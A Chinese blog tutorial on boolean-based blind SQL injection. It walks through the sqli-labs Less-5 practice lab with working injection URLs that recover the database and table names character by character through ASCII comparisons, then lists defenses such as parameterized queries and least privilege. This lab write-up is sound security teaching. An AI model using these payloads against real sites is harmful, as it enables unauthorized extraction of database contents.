【SQL注入】布尔盲注

#VibeCoding·九月创作之星挑战赛#

      布尔盲注 (Boolean-Based Blind SQL Injection)​​ 是一种SQL注入攻击技术。其根本特征是:​​攻击者无法直接从数据库查询结果或错误信息中获取数据,Web页面仅会根据查询条件返回两种状态:“True”(真)或“False”(假)​​(通常表现为页面内容存在与否、某个特定关键词出现与否等差异)。

      攻击者通过精心构造SQL注入语句,​​根据页面返回的是“True”还是“False”这两种不同的响应状态,像“猜谜”一样,一步步推断出数据库中的敏感信息​​(如数据库名、表名、字段名以及具体数据内容)。

 关键特征在于:

无直接数据回显​​:与可直接显示查询结果的联合查询注入不同,布尔盲注无法直接看到数据。

​无报错信息​​:与利用数据库报错信息来获取数据的报错注入不同,布尔盲注不依赖错误回显。

​二元判断​​:攻击者完全依赖于对页面返回的两种不同状态(是/否、存在/不存在)进行观察和判断。过程缓慢​​:由于需要逐个字符进行猜测和验证(例如:数据库名的第一个字母是'a'吗?是'b'吗?),攻击过程通常非常耗时,但可以通过自动化工具(如sqlmap)来加速。

接下来在sql靶场上实战,打开第五关。

首先猜接库名,利用ASCII码的值用二分法猜解数据库的库名的第一个字母。通过页面返回结果的差异(“真”或“假”状态),​​逐字符推断当前数据库名称的第一个字符的ASCII码是否大于64​

输入:
http://localhost/sql/Less-5/?id=1' and ascii(mid(database(),1,1))>64--+

显示大于64,ASCII码0~127,用二分法下一个到95

http://localhost/sql/Less-5/?id=1' and ascii(mid(database(),1,1))=115--+ 

 #一直猜解,到115显示跟上图一样证明第一个字母就是115对应的字母“s”

接着猜库名第二个字母,同样运用ASCII码;第三第四以此类推

http://127.0.0.1/sql/less-5/?id=1' and ascii(mid(database(),2,1))=101--+

http://127.0.0.1/sql/less-5/?id=1' and ascii(mid(database(),3,1))=99--+

依次类推出数据库的名字为“security”,接下来猜解表名。

http://127.0.0.1/sql/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+ 

从当前数据库 (database()) 中查询第二张表 (limit 1,1) 的表名,并取出其第一个字符。如果这个字符的ASCII码等于114(即字符 'r'),那么整个条件为真;否则为假。

http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101--+

     若第二张表名的​​第二个字符​​的ASCII码 ​​=101​​(即字符 e),则条件为真,页面返回“真状态”(如正常内容)。若ASCII码 ​​≠101​​,则条件为假,页面返回“假状态”。依次猜解,最终得到表名referer

      防御措施:​使用参数化查询(预编译语句)​:这是​​最有效、最根本​​的防御方法,能彻底将用户输入的数据与SQL代码分离,使得输入内容永远被视为数据而非代码执行。​对输入进行严格的校验和过滤​​:例如,如果参数 id应该是数字,就严格校验其为整数类型。​最小权限原则​​:确保Web应用使用的数据库账户只拥有最小必要的权限,避免其能访问 information_schema等系统表。错误处理​​:统一错误页面,避免暴露数据库结构信息。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值